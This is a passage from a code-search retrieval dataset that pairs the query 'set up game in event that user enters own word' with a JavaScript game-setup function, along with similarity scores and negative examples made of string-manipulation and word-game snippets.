orgStr.substring(index+replaceLen, orgStr.length);\n}", "function insert(string, stringInsert, index) {\n return string.slice(0, index) + stringInsert + string.slice(index);\n}", "function charChange(str) {\n //\"use strict\";\n var newString = \"\";\n var character;\n for (var i = 0; i < str.length; i++) { //runs through the string to get all of the character positions\n character = str.charCodeAt(i); //takes the character code at position i\n if (character > 64 && character < 91 || character > 96 && character < 123) {\n character = character + 1; //adds 1 to shift the value\n\n if (character == 123) { character = 65; } //changes z to A\n else if (character == 101) { character = 69; } //changes e to E\n else if (character == 105) { character = 73; } //changes i to I\n else if (character == 111) { character = 79; } //changes o to O\n else if (character == 117) { character = 85; } //changes u to U\n\n }\n newString += String.fromCharCode(character);\n }\n return newString;\n}", "function GiveACharacter(str, num) {\n if (num >=0) {\n return str[num];\n }\n}", "function replaceAtIndex(str, pattern, replacement, i) {\n var lhs = str.substring(0, i);\n var rhs = str.substring(i + pattern.length, str.length);\n return lhs + replacement + rhs;\n}", "function replaceAtIndex(str, pattern, replacement, i) {\n var lhs = str.substring(0, i);\n var rhs = str.substring(i + pattern.length, str.length);\n return lhs + replacement + rhs;\n}", "function replaceIndex(string, at, repl) {\n return string.replace(/\\S/g, function(match, i) {\n if( i === at ) return repl;\n return match;\n });\n }", "function replaceAt(string, index, replace) {\n return string.substring(0, index) + replace + string.substring(index + 1);\n}", "function changeBoardElement(boardString, index, value) {\n var splitBoard = boardString.split(\"\");\n splitBoard[index] = value;\n return splitBoard.join(\"\");\n}", "function next_char() {\n c = ++pos < str.length ? str[pos] : undefined;\n }", "function replaceAt(string, index, replace) {\n return string.substring(0, index) + replace + string.substring(index + 1);\n }", "function getChar() {\n index++;\n c = expr.charAt(index);\n }", "function replaceAt(string, index, replace) {\n return string.substring(0, index) + replace + string.substring(index + 1);\n}", "function replaceAt(string, index, replace) {\n return string.substring(0, index) + replace + string.substring(index + 1);\n}", "function strSplice(str, index, count, add) {\n\t\treturn str.slice(0, index) + (add || \"\") + str.slice(index + count);\n\t}", "function curr () { return jsString.charAt(i); }", "function replaceBlank(blankWord, index, letter) {\n for (var i = 0; i < index.length; i++) {\n for (var j = 0; j < blankWord.length; j++) {\n if (j == index[i]) {\n blankWord[j] = letter.toUpperCase();\n }\n }\n }\n // send altered blankWord back\n return blankWord;\n}", "function at(position) {\n return value.charAt(position)\n }", "function at(position) {\n return value.charAt(position)\n }", "function at(position) {\n return value.charAt(position)\n }", "function at(position) {\n return value.charAt(position)\n }", "function at(position) {\n return value.charAt(position);\n }", "function replaceChar(text,char,byChar)\n{\n\t\n\tfor(var i=0;i<text.length;i++)\n\t{\n\t\ttext=text.replace(char,byChar);\n\t}\n\treturn text;\n}", "function replaceAt(content, index, oldString, newString) {\n logger.debug(`Replacing ${oldString} with ${newString} at index ${index}`);\n return (\n content.substr(0, index) +\n newString +\n content.substr(index + oldString.length)\n );\n}", "function spliceString(str, index, count, add) {\n return str.slice(0, index) + add + str.slice(index + count);\n }", "function changeCompletely(elem, index, arr){\n arr[index] = `${index}.${elem}`\n}", "function insert_into(string, value, index) {\n var parts = string.split(rWhitespace);\n parts[index] = value;\n return parts.join(\" \");\n }", "function insertStringAtGivenIndex(string, stringToBeAdded, index) {\n return (\n string.slice(0, index) +\n stringToBeAdded +\n string.slice(index, string.length)\n );\n}", "function setLetterByLetterIndex( params ){\n\n\t\tif( params.letterIndex < 0 ){\n\n\t\t\tparams.letterIndex += LETTERS.length\n\t\t\tparams.octaveIndex --\n\t\t}\n\t\tif( params.letterIndex >= LETTERS.length ){\n\n\t\t\tparams.letterIndex -= LETTERS.length\n\t\t\t// Next line commented out but left in as a reminder\n\t\t\t// that it would cause G♯ conversion to A♭\n\t\t\t// to jump up an entire octave for no good reason!\n\t\t\t//params.octaveIndex ++\n\t\t}\n\t\tparams.letter = LETTERS.substr( params.letterIndex, 1 )\n\t\treturn params\n\t}", "function LetterChanges(str) {\n\n return str\n}", "function charSt(item, index){\n if (item == true){\n charSet.push(completeCharSet[index]);\n }\n}", "function swapChars(firstIndex, secondIndex, string) {\n var newString = '';\n\n for (var i = 0; i < firstIndex; i++) {\n newString += string[i];\n }\n newString += string[secondIndex];\n for (var j = firstIndex + 1; j < secondIndex; j++) {\n newString += string[j];\n }\n newString += string[firstIndex];\n for (var k = secondIndex + 1; k < string.length; k++) {\n newString += string[k];\n }\n return newString;\n}", "function getLetterAtIndex(arr, index) {\n let letters = arr.split(\"\");\n return letters[index];\n}", "function swapChars(firstIndex, secondIndex, string) {\n var output = '';\n for (var i = 0; i < string.length; i++) {\n if (i === firstIndex) {\n output += string[secondIndex];\n } else if (i === secondIndex) {\n output += string[firstIndex];\n } else {\n output += string[i];\n }\n }\n return output;\n}", "function add(char, str) {\n return str.split(' ').join(char)\n }", "function insert(string, index, partial){\n\t string = toString(string);\n\n\t if (index < 0) {\n\t index = string.length + index;\n\t }\n\n\t index = clamp(index, 0, string.length);\n\n\t return string.substr(0, index) + partial + string.substr(index);\n\t }", "function removeChar(str) {\n //You got this!\n let newStr = \"\";\n for (let i = 1; i < str.length - 1; i++) {\n newStr += str[i];\n }\n return newStr;\n}", "function removeChar(str, char_pos) {\n let string1 = str.substring(0, char_pos);\n let string2 = str.substring(char_pos + 1, str.length);\n const newStr = string1 + string2;\n return newStr;\n}", "function sc_stringRef(s, k) {\n return new sc_Char(s.charAt(k));\n}", "function myStringReplace(str, charOld, charNew) {\r\n\tvar result = \"\";\r\n\tvar arryTemp = [];\r\n\tvar strTemp = \"\";\r\n\tvar j = 0;\r\n\tfor (var i = 0; i < str.length; i++) {\r\n\t\tarryTemp[j] = str.charAt(i);\r\n\t\tj++\r\n\t}\r\n\r\n\tfor (var k = 0; k < arryTemp.length; k++) {\r\n\r\n\t\tif (charOld == arryTemp[k])\r\n\t\t\tstrTemp += charNew;\r\n\t\telse\r\n\t\t\tstrTemp += arryTemp[k]\r\n\r\n\t}\r\n\tresult = strTemp;\r\n\r\n\treturn result;\r\n}", "function indexToLetter(index) {\n \n\tvar letter = \"a\";\n\tswitch(index) {\n\t\tcase 0:\n\t\t\tletter = \"a\";\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\tletter = \"b\";\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tletter = \"c\";\n\t\t\tbreak;\n\t\tcase 3: \n\t\t\tletter = \"d\";\n\t\t\tbreak;\n\t}\n\treturn letter;\n}", "function replaceAt(s, n, t) {\r\n return s.substring(0, n) + t + s.substring(n + 1);\r\n }", "function setCellCpu(board, letter, index){\n let newboard = board.slice();\n newboard[index] = letter;\n return newboard;\n}", "function insert(string, index, partial) {\n string = toString_1[\"default\"](string);\n if (index < 0) {\n index = string.length + index;\n }\n index = clamp_1[\"default\"](index, 0, string.length);\n return string.substr(0, index) + partial + string.substr(index);\n}", "function rep(str) {\n str = setCharAt(str, 64, 'g');\n return str\n}", "function splice(str, token, replacement) {\n var i = str.indexOf(token);\n return str.substr(0, i) + replacement\n + str.substr(i + token.length);\n}", "function splice(str, token, replacement) {\n var i = str.indexOf(token);\n return str.substr(0, i) + replacement\n + str.substr(i + token.length);\n}", "function h$jsstringIndexR(i, str) {\n ;\n if(i < 0 || i > str.length) return -1;\n var ch = str.charCodeAt(i);\n return (((ch|1023)===0xDFFF)) ? ((((str.charCodeAt(i-1))-0xD800)<<10)+(ch)-9216) : ch;\n}", "function character(str) {\n let newStr = '';\n for (let i = 0; i< str.length; i++) {\n if (str[i] === str[i].toLowerCase()) {\n newStr += str[i].toUpperCase()\n } else {\n newStr += str[i].toLowerCase()\n }\n }\n return newStr\n}", "function replaceLetter(letter)\n{\n\tvar j = targetWordArray.indexOf(letter);\n\tdisplayWord.splice(j, 1, letter);\n}", "function removeChar(str) {\n //You got this!\n console.log(str);\n // Solution 1\n // return str.slice(1,-1)\n // Solution 2\n return str.slice(1, str.length - 1);\n\n // indices of arrays and strings\n // slice method\n // length property of string\n // basic function syntax\n}", "function updateLetter(element, character) {\n\tvar subStr = element.target.innerHTML.substring(0, element.target.innerHTML.length - 1);\n\telement.target.innerHTML = subStr + character + \"|\";\n}", "function changeCompletely(element,index,array){\narray[index]=`${array[index]}`+'2'\n}", "function splice(str, token, replacement) {\n var i = str.indexOf(token);\n return str.substr(0, i) + replacement + str.substr(i + token.length);\n}", "function insertAt(obj, string, location) {\n return obj.substr(0, location) + string + obj.substr(location);\n}", "function h$jsstringIndexR(i, str) {\n ;\n if(i < 0 || i > str.length) return -1;\n var ch = str.charCodeAt(i);\n return (((ch|1023)===0xDFFF)) ? ((((str.charCodeAt(i-1))-0xD800)<<10)+(ch)-9216) : ch;\n}", "function h$jsstringIndexR(i, str) {\n ;\n if(i < 0 || i > str.length) return -1;\n var ch = str.charCodeAt(i);\n return (((ch|1023)===0xDFFF)) ? ((((str.charCodeAt(i-1))-0xD800)<<10)+(ch)-9216) : ch;\n}", "function h$jsstringIndexR(i, str) {\n ;\n if(i < 0 || i > str.length) return -1;\n var ch = str.charCodeAt(i);\n return (((ch|1023)===0xDFFF)) ? ((((str.charCodeAt(i-1))-0xD800)<<10)+(ch)-9216) : ch;\n}", "function introChar(targetStr, chr) {\n\tvar arr = [];\n\tvar strArr = [];\n\tfor (var i=0; i<=targetStr.length; i++) {\n\t\tstrArr = targetStr.split(\"\");\n\t\tstrArr.splice(i, 0, chr);\n\t\tarr.push(strArr.join(\"\"));\n\t}\n\treturn arr;\n}", "set(index, value) {\n this._data[index * CELL_SIZE + 1 /* FG */] = value[CHAR_DATA_ATTR_INDEX];\n if (value[CHAR_DATA_CHAR_INDEX].length > 1) {\n this._combined[index] = value[1];\n this._data[index * CELL_SIZE + 0 /* CONTENT */] = index | 2097152 /* IS_COMBINED_MASK */ | (value[CHAR_DATA_WIDTH_INDEX] << 22 /* WIDTH_SHIFT */);\n }\n else {\n this._data[index * CELL_SIZE + 0 /* CONTENT */] = value[CHAR_DATA_CHAR_INDEX].charCodeAt(0) | (value[CHAR_DATA_WIDTH_INDEX] << 22 /* WIDTH_SHIFT */);\n }\n }", "function removeChar(str) {\n return (newStr = str.slice(1, -1));\n}", "function inc(s, pos) {\n\tif (pos===undefined) pos = s.length-1\n\tvar c = s.charCodeAt(pos) + 1\n\tif (c===123) {\n\t\tc = 97\n\t\ts = inc(s,pos-1)\n\t}\n\tvar a = s.split('')\n\ta[pos] = String.fromCharCode(c)\n\treturn a.join('')\n}", "function itoc(i) {\r\n if (i < 0) {\r\n i += charlist.length;\r\n }\r\n\r\n let ch = charlist[i];\r\n return ch;\r\n}", "setAt(idx, val) {\n\n }", "function index(str, chr) {\n var flag = 0;\n for (i = 0; i <= str.length; i++) {\n if (str[i] == chr) {\n var a = i;\n document.write(\"The index of character \" + chr + \" is : \" + a);\n flag = 1;\n }\n }\n\n if (flag == 0) {\n document.write(\"letter not found\")\n }\n}", "function _insertCharAt(char, container, offset) {\n if (container.nodeType === Node.TEXT_NODE) {\n const startValue = container.nodeValue;\n container.nodeValue =\n startValue.slice(0, offset) + char + startValue.slice(offset, startValue.length);\n } else {\n container.parentNode.insertBefore(document.createTextNode(char), container);\n }\n}", "function letterChanges(str) {}", "function letterChanges(str) {}", "function letterChanges(str) {}", "function replace(str, substr, newStr) {\n var index = str.indexOf(substr);\n if (index == -1) {\n return str;\n }\n return str.substring(0, index)\n + newStr\n + str.substring(index + substr.length);\n}", "function indexOf(r, c) {\n return Base26.toBase26(c) + r.toString();\n }", "function replaceCharacter(str) {\n var newString = str.replace(/-/g , \"_\");\n return newString;\n }", "function getLetterAtIndex(string, i) {\n // check if argument i is a number\n if (typeof i === 'number') {\n // return the character at the index\n return string[i]\n } else {\n // returns undefined if string is a number or if i is a string\n return undefined\n }\n}", "insertAt(str){\r\n \r\n let startPos = this.HTMLElement.selectionStart;\r\n let endPos = this.HTMLElement.selectionEnd;\r\n\r\n this.HTMLElement.value = this.HTMLElement.value.substring(0, startPos) + str + this.HTMLElement.value.substring(endPos, this.HTMLElement.value.length);\r\n\r\n}", "function swift(char, num){\n \n // Change the ascii value of the char variable\n let newAsciiVal = char.charCodeAt() + Number(num);\n \n // Change char value with new ascii value and return new char\n return String.fromCharCode(newAsciiVal);\n }", "temporary(name, index, single = false) {\r\n\t\t\t\tvar diff, endCode, letter, newCode, num, startCode;\r\n\t\t\t\tif (single) {\r\n\t\t\t\t\tstartCode = name.charCodeAt(0);\r\n\t\t\t\t\tendCode = 'z'.charCodeAt(0);\r\n\t\t\t\t\tdiff = endCode - startCode;\r\n\t\t\t\t\tnewCode = startCode + index % (diff + 1);\r\n\t\t\t\t\tletter = String.fromCharCode(newCode);\r\n\t\t\t\t\tnum = Math.floor(index / (diff + 1));\r\n\t\t\t\t\treturn `${letter}${num || ''}`;\r\n\t\t\t\t} else {\r\n\t\t\t\t\treturn `${name}${index || ''}`;\r\n\t\t\t\t}\r\n\t\t\t}" ]
[ "0.8422062", "0.8408113", "0.831897", "0.8187089", "0.77036905", "0.76474696", "0.708892", "0.69437265", "0.6693903", "0.66668", "0.66284406", "0.6562673", "0.65457666", "0.6531664", "0.64304143", "0.63100433", "0.6295019", "0.62803996", "0.62629527", "0.6261391", "0.6232661", "0.6182957", "0.61821747", "0.6161464", "0.6132497", "0.61319304", "0.6094189", "0.6093586", "0.60691833", "0.60691833", "0.60644567", "0.6055899", "0.6055372", "0.60419744", "0.6021212", "0.6007534", "0.60020566", "0.60020566", "0.60017216", "0.59499145", "0.5929205", "0.5927097", "0.5927097", "0.5927097", "0.5927097", "0.5874341", "0.58316773", "0.5830456", "0.58226997", "0.58114797", "0.5799299", "0.5790824", "0.5774105", "0.5741795", "0.5721501", "0.5711031", "0.5698964", "0.5683483", "0.56604326", "0.564333", "0.5625228", "0.5620879", "0.5615798", "0.5610799", "0.560941", "0.56071323", "0.55927026", "0.55893964", "0.5585166", "0.5583454", "0.5583454", "0.5576397", "0.55700725", "0.5565417", "0.5562135", "0.5557747", "0.5557047", "0.5553382", "0.5540197", "0.5532726", "0.5532726", "0.5532726", "0.55046904", "0.547386", "0.54596066", "0.5455178", "0.545425", "0.5451584", "0.5420925", "0.542019", "0.5420026", "0.5420026", "0.5420026", "0.54157144", "0.5414663", "0.5412315", "0.5411433", "0.5411049", "0.5408992", "0.53995836" ]
0.8405141
2
set up game in event that user enters own word
function setUp2PlayerGame() { secretWord = document.querySelector('.secretWord').value; if (!isNonEmptyStr(secretWord)) { errorMessage.style.display = 'initial'; return; } setupGame(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function startGame() {\n\tguesses = 10;\n\tcurrentWord = new Word();\n\tcurrentWord.logWord();\n takeInput();\n}", "function newGame() {\n gameStart = true\n clearOut();\n ransomdomize();\n createSpan();\n \n //console.log(chosenWord); //CHEAT -- GET THE ANSWERS IN CONCOLE\n \n}", "function startGame(player, myWord){\n\tmyWord = new Word(Phrase.getRandomPhrase());\n\tplayer.reset();\n\tDisplay.displayResults(player, myWord);\n\tgetUserGuess(null, player, myWord);\n}", "function initGame() {\n if (game_started == true) { //return to game_paused false state\n returnGame();\n } else { //create game\n if (word_to_find_list.length > 0) { //word inside word list\n createGame();\n displayPage(\"letter_grid_page\");\n } else { //create word\n if (always_ask == false) {\n WordListAddRowRandom(always_ask_length);\n createGame();\n displayPage(\"letter_grid_page\");\n } else { //ask word lenght\n var prompt_new_word = Number(window.prompt(\"Aucun mot n'est prédéfini dans les paramètres, veuillez entrer le nombre de lettres (compris entre 5 et 10) du prochain mot tiré au hasard:\", \"8\"));\n if (prompt_new_word >= 5 && prompt_new_word <= 10 ) {\n WordListAddRowRandom(prompt_new_word);\n createGame();\n displayPage(\"letter_grid_page\");\n }\n }\n }\n }\n}", "function startGame() {\n\t\tvar words = [\"act\", \"again\", \"agree\", \"also\", \"answer\", \"arrive\", \"able\", \"against\", \"always\",\n\t\t\t\t\t\t \"area\", \"atom\", \"about\", \"afraid\", \"anger\", \"appear\", \"above\", \"after\", \"allow\", \n\t\t\t\t\t\t \"among\", \"animal\", \"baby\", \"back\", \"bad\", \"ball\", \"band\", \"bank\", \"bar\", \"base\", \n\t\t\t\t\t\t \"basic\", \"bat\", \"be\", \"bear\", \"beat\", \"beauty\", \"bed\", \"been\", \"before\", \"began\",\n\t\t\t\t\t\t \"begin\", \"behind\", \"believe\", \"bell\", \"best\", \"better\", \"between\", \"big\", \"bird\",\n\t\t\t\t\t\t \"bit\", \"black\", \"block\", \"blood\", \"blow\", \"blue\", \"board\", \"boat\", \"body\", \"bone\",\n\t\t\t\t\t\t \"book\", \"born\", \"both\", \"bottom\", \"bought\", \"box\", \"boy\", \"branch\", \"bread\",\n\t\t\t\t\t\t \"break\", \"bright\", \"bring\", \"broad\", \"broke\", \"brother\", \"brought\", \"brown\", \n\t\t\t\t\t\t \"build\", \"burn\", \"busy\", \"but\", \"buy\", \"by\", \"call\", \"came\", \"camp\", \"can\", \n\t\t\t\t\t\t \"capital\", \"captain\", \"car\", \"card\", \"care\", \"carry\", \"case\", \"cat\", \"catch\", \n\t\t\t\t\t\t \"caught\", \"cause\", \"cell\", \"cent\", \"center\", \"centre\", \"century\", \"certain\", \n\t\t\t\t\t\t \"chair\", \"chance\", \"change\", \"character\", \"charge\", \"chart\", \"check\", \"chick\", \n\t\t\t\t\t\t \"chief\", \"child\", \"children\", \"choose\", \"chord\", \"circle\", \"city\", \"claim\", \n\t\t\t\t\t\t \"class\", \"clean\", \"clear\", \"climb\", \"clock\", \"close\", \"clothe\", \"cloud\", \"coast\", \n\t\t\t\t\t\t \"coat\", \"cold\", \"collect\", \"colony\", \"color\", \"column\", \"come\", \"common\", \n\t\t\t\t\t\t \"company\", \"compare\", \"complete\", \"condition\", \"connect\", \"consider\", \"consonant\", \n\t\t\t\t\t\t \"contain\", \"continent\", \"continue\", \"control\", \"cook\", \"cool\", \"copy\", \"corn\", \n\t\t\t\t\t\t \"corner\", \"correct\", \"cost\", \"cotton\", \"could\", \"count\", \"country\", \"course\", \n\t\t\t\t\t\t \"cover\", \"cow\", \"crease\", \"create\", \"crop\", \"cross\", \"crowd\", \"cry\", \"current\", \n\t\t\t\t\t\t \"cut\", \"dad\", \"dance\", \"danger\", \"dark\", \"day\", \"dead\", \"deal\", \"dear\", \"death\", \n\t\t\t\t\t\t \"decide\", \"decimal\", \"deep\", \"degree\", \"depend\", \"describe\", \"desert\", \"design\", \n\t\t\t\t\t\t \"determine\", \"develop\", \"dictionary\", \"did\", \"die\", \"differ\", \"difficult\", \"direct\", \n\t\t\t\t\t\t \"discuss\", \"distant\", \"divide\", \"division\", \"do\", \"doctor\", \"does\", \"dog\", \"dollar\", \n\t\t\t\t\t\t \"done\", \"door\", \"double\", \"down\", \"draw\", \"dream\", \"dress\", \"drink\", \n\t\t\t\t\t\t \"drive\", \"drop\", \"dry\", \"duck\", \"during\", \"each\", \"ear\", \"early\", \"earth\", \"ease\", \n\t\t\t\t\t\t \"east\", \"eat\", \"edge\", \"effect\", \"egg\", \"eight\", \"either\", \"electric\", \"element\", \n\t\t\t\t\t\t \"else\", \"end\", \"enemy\", \"energy\", \"engine\", \"enough\", \"enter\", \"equal\", \"equate\", \n\t\t\t\t\t\t \"especially\", \"even\", \"evening\", \"event\", \"ever\", \"every\", \"exact\", \"example\", \n\t\t\t\t\t\t \"except\", \"excite\", \"exercise\", \"expect\", \"experience\", \"experiment\", \"eye\", \n\t\t\t\t\t\t \"face\", \"fact\", \"fair\", \"fall\", \"family\", \"famous\", \"far\", \"farm\", \"fast\", \"fat\",\n\t\t\t\t\t\t \"father\", \"favor\", \"fear\", \"feed\", \"feel\", \"feet\", \"fell\", \"felt\", \"few\", \"field\",\n\t\t\t\t\t\t \"fig\", \"fight\", \"figure\", \"fill\", \"final\", \"find\", \"fine\", \"finger\", \"finish\", \"fire\",\n\t\t\t\t\t\t \"first\", \"fish\", \"fit\", \"five\", \"flat\", \"floor\", \"flow\", \"flower\", \"fly\", \"follow\",\n\t\t\t\t\t\t \"food\", \"foot\", \"for\", \"force\", \"forest\", \"form\", \"forward\", \"found\", \"four\", \"fraction\",\n\t\t\t\t\t\t \"free\", \"fresh\", \"friend\", \"from\", \"front\", \"fruit\", \"full\", \"fun\", \n\t\t\t\t\t\t \"game\", \"garden\", \"gas\", \"gather\", \"gave\", \"general\", \"gentle\", \"get\", \"girl\", \"give\",\n\t\t\t\t\t\t \"glad\", \"glass\", \"go\", \"gold\", \"gone\", \"good\", \"got\", \"govern\", \"grand\", \"grass\",\n\t\t\t\t\t\t \"gray\", \"great\", \"green\", \"grew\", \"ground\", \"group\", \"grow\", \"guess\", \"guide\", \"gun\", \n\t\t\t\t\t\t \"had\", \"hair\", \"half\", \"hand\", \"happen\", \"happy\", \"hard\", \"has\", \"hat\", \"have\", \"he\",\n\t\t\t\t\t\t \"head\", \"hear\", \"heard\", \"heart\", \"heat\", \"heavy\", \"held\", \"help\", \"her\", \"here\",\n\t\t\t\t\t\t \"high\", \"hill\", \"him\", \"his\", \"history\", \"hit\", \"hold\", \"hole\", \"home\", \"hope\", \"horse\",\n\t\t\t\t\t\t \"hot\", \"hour\", \"house\", \"how\", \"huge\", \"human\", \"hundred\", \"hunt\", \"hurry\", \n\t\t\t\t\t\t \"ice\", \"idea\", \"if\", \"imagine\", \"in\", \"inch\", \"include\", \"indicate\", \"industry\",\n\t\t\t\t\t\t\"insect\", \"instant\", \"instrument\", \"interest\", \"invent\", \"iron\", \"is\", \"island\", \"it\", \n\t\t\t\t\t\t\"job\", \"join\", \"joy\", \"jump\", \"just\", \"keep\", \"kept\", \"key\", \"kill\", \"kind\", \"king\", \"kings\", \"knew\", \"know\", \n\t\t\t\t\t\t\"lady\", \"lake\", \"land\", \"language\", \"large\", \"last\", \"late\", \"laugh\", \"law\", \"lay\",\n\t\t\t\t\t\t\"lead\", \"learn\", \"least\", \"leave\", \"led\", \"left\", \"leg\", \"length\", \"less\", \"let\",\n\t\t\t\t\t\t\"letter\", \"level\", \"lie\", \"life\", \"lift\", \"light\", \"like\", \"line\", \"liquid\", \"list\",\n\t\t\t\t\t\t\"listen\", \"little\", \"live\", \"locate\", \"log\", \"lone\", \"long\", \"look\", \"lost\", \"lot\", \n\t\t\t\t\t\t\"loud\", \"love\", \"low\", \n\t\t\t\t\t\t\"machine\", \"made\", \"magnet\", \"main\", \"major\", \"make\", \"man\", \"many\", \"map\", \"mark\",\n\t\t\t\t\t\t\"market\", \"mass\", \"master\", \"match\", \"material\", \"matter\", \"may\", \"me\", \"mean\", \"meant\",\n\t\t\t\t\t\t\"measure\", \"meat\", \"meet\", \"melody\", \"men\", \"metal\", \"method\", \"middle\", \"might\",\n\t\t\t\t\t\t\"mile\", \"milk\", \"million\", \"mind\", \"mine\", \"minute\", \"miss\", \"mix\", \"modern\", \"molecule\",\n\t\t\t\t\t\t\"moment\", \"money\", \"month\", \"moon\", \"more\", \"morning\", \"most\", \"mother\", \"motion\",\n\t\t\t\t\t\t\"mount\", \"mountain\", \"mouth\", \"move\", \"much\", \"multiply\", \"music\", \"must\", \"my\", \n\t\t\t\t\t\t\"name\", \"nation\", \"natural\", \"nature\", \"near\", \"necessary\", \"neck\", \"need\", \"neighbor\",\n\t\t\t\t\t\t\"never\", \"new\", \"next\", \"night\", \"nine\", \"no\", \"noise\", \"noon\", \"nor\", \"north\", \"nose\",\n\t\t\t\t\t\t\"note\", \"nothing\", \"notice\", \"noun\", \"now\", \"number\", \"numeral\", \n\t\t\t\t\t\t\"object\", \"observe\", \"occur\", \"ocean\", \"of\", \"off\", \"offer\", \"office\", \"often\", \"oh\",\n\t\t\t\t\t\t\"oil\", \"old\", \"on\", \"once\", \"one\", \"only\", \"open\", \"operate\", \"opposite\", \"or\", \"order\",\n\t\t\t\t\t\t\"organ\", \"original\", \"other\", \"our\", \"out\", \"over\", \"own\", \"oxygen\", \n\t\t\t\t\t\t\"page\", \"paint\", \"pair\", \"paper\", \"paragraph\", \"parent\", \"part\", \"particular\", \"party\",\n\t\t\t\t\t\t\"pass\", \"past\", \"path\", \"pattern\", \"pay\", \"people\", \"perhaps\", \"period\", \"person\",\n\t\t\t\t\t\t\"phrase\", \"pick\", \"picture\", \"piece\", \"pitch\", \"place\", \"plain\", \"plan\", \"plane\",\n\t\t\t\t\t\t\"planet\", \"plant\", \"play\", \"please\", \"plural\", \"poem\", \"point\", \"poor\", \"populate\",\n\t\t\t\t\t\t\"port\", \"pose\", \"position\", \"possible\", \"post\", \"pound\", \"power\", \"practice\", \"prepare\",\n\t\t\t\t\t\t\"present\", \"press\", \"pretty\", \"print\", \"probable\", \"problem\", \"process\", \"produce\",\n\t\t\t\t\t\t\"product\", \"proper\", \"property\", \"protect\", \"prove\", \"provide\", \"pull\", \"push\", \"put\", \n\t\t\t\t\t\t\"quart\", \"question\", \"quick\", \"quiet\", \"quite\", \"quotient\", \n\t\t\t\t\t\t\"race\", \"radio\", \"rail\", \"rain\", \"raise\", \"ran\", \"range\", \"rather\", \"reach\", \"read\",\n\t\t\t\t\t\t\"ready\", \"real\", \"reason\", \"receive\", \"record\", \"red\", \"region\", \"remember\", \"repeat\",\n\t\t\t\t\t\t\"reply\", \"represent\", \"require\", \"rest\", \"result\", \"rich\", \"ride\", \"right\", \"ring\",\n\t\t\t\t\t\t\"rise\", \"river\", \"road\", \"rock\", \"roll\", \"room\", \"root\", \"rope\", \"rose\", \"round\",\n\t\t\t\t\t\t\"row\", \"rub\", \"rule\", \"run\", \n\t\t\t\t\t\t\"safe\", \"sail\", \"same\", \"sat\", \"saw\", \"scale\", \"science\", \"sea\", \"season\", \"second\",\n\t\t\t\t\t\t\"see\", \"seem\", \"select\", \"sell\", \"sense\", \"sentence\", \"serve\", \"settle\", \"several\",\n\t\t\t\t\t\t\"shape\", \"sharp\", \"sheet\", \"shine\", \"shoe\", \"shore\", \"should\", \"shout\", \"side\", \"sign\",\n\t\t\t\t\t\t\"silver\", \"simple\", \"sing\", \"sister\", \"six\", \"skill\", \"sky\", \"sleep\", \"slow\", \"smell\",\n\t\t\t\t\t\t\"snow\", \"soft\", \"soldier\", \"solve\", \"son\", \"soon\", \"south\", \"speak\", \"speech\", \"spell\",\n\t\t\t\t\t\t\"spoke\", \"spread\", \"square\", \"star\", \"state\", \"stay\", \"steam\", \"step\", \"still\", \"stood\",\n\t\t\t\t\t\t\"store\", \"straight\", \"stream\", \"stretch\", \"strong\", \"study\", \"substance\", \"success\",\n\t\t\t\t\t\t\"sudden\", \"sugar\", \"suit\", \"sun\", \"support\", \"surface\", \"swim\", \"symbol\", \n\t\t\t\t\t\t\"table\", \"tail\", \"take\", \"talk\", \"tall\", \"teach\", \"team\", \"teeth\", \"tell\", \"temperature\",\n\t\t\t\t\t\t\"ten\", \"term\", \"test\", \"than\", \"thank\", \"that\", \"the\", \"their\", \"them\", \"then\", \"there\",\n\t\t\t\t\t\t\"these\", \"they\", \"thick\", \"thin\", \"thing\", \"think\", \"third\", \"this\", \"those\", \"though\",\n\t\t\t\t\t\t\"thought\", \"thousand\", \"three\", \"through\", \"throw\", \"thus\", \"tie\", \"time\", \"tiny\",\n\t\t\t\t\t\t\"tire\", \"to\", \"together\", \"told\", \"tone\", \"too\", \"took\", \"tool\", \"top\", \"touch\",\n\t\t\t\t\t\t\"toward\", \"town\", \"track\", \"trade\", \"train\", \"travel\", \"tree\", \"triangle\", \"trip\",\n\t\t\t\t\t\t\"trouble\", \"truck\", \"true\", \"try\", \"tube\", \"turn\", \"twenty\", \"two\", \"type\", \n\t\t\t\t\t\t\"under\", \"unit\", \"until\", \"up\", \"us\", \"use\", \"usual\", \n\t\t\t\t\t\t\"valley\", \"value\", \"vary\", \"verb\", \"very\", \"view\", \"village\", \"visit\", \"voice\", \"vowel\", \n\t\t\t\t\t\t\"wait\", \"walk\", \"wall\", \"want\", \"war\", \"warm\", \"was\", \"wash\", \"watch\", \"water\", \"wave\",\n\t\t\t\t\t\t\"way\", \"we\", \"wear\", \"weather\", \"week\", \"weight\", \"well\", \"went\", \"were\", \"west\",\n\t\t\t\t\t\t\"what\", \"wheel\", \"when\", \"where\", \"whether\", \"which\", \"while\", \"white\", \"who\", \"whole\",\n\t\t\t\t\t\t\"whose\", \"why\", \"wide\", \"wife\", \"wild\", \"will\", \"win\", \"wind\", \"window\", \"wing\",\n\t\t\t\t\t\t\"winter\", \"wire\", \"wish\", \"with\", \"woman\", \"women\", \"wonder\", \"wood\", \"word\",\n\t\t\t\t\t\t\"yard\", \"year\", \"yellow\", \"yes\", \"yet\", \"you\", \"young\", \"your\", \"zoo\", \"zipper\"];\n\t\twordCount = 0;\n\t\tmistakeCount = 0;\n\t\ttimerFun = setInterval(function() {timer()}, 1000);\n\t\tstartTime = (new Date()).getTime();\n\t\tdocument.getElementById(\"timer\").innerHTML = \"Time remaining: \" + GAME_DURATION;\n\t\tdocument.getElementById(\"misses\").innerHTML = \"\";\n\t\t$('#info').hide();\n\t\t$('#gameBorder').css('visibility', 'visible');\n\t\tvar rando = words[Math.floor(Math.random() * words.length)];\n\t\tdisplayWord(rando, words, false);\n\t}", "function startGame() {\n select = Math.floor(Math.random() * wordList.length);\n chosenWord = wordList[select];\n gameWord = new Word(chosenWord);\n gameWord.createWord();\n if (select > -1) {\n wordList.splice(select, 1);\n }\n console.log(\n \"You get 8 letter guesses to correctly find the type of fruit.\\n Good luck!\"\n .cyan\n );\n promptUser();\n}", "startGame() {\n this.phrase = new Phrase(this.getRandomPhrase());\n this.addClueToDisplay();\n this.phrase.addPhraseToDisplay();\n }", "function newGame(){\n\t\tword = wordList [Math.floor(Math.random() * wordList.length)];\n\t\tguessedLetters.length = 0;\n\t\tuniqueLetter = false;\n\t\tvalidInput = false;\n\t\tcorrectGuesses = 0;\n\t\tincorrectGuesses = 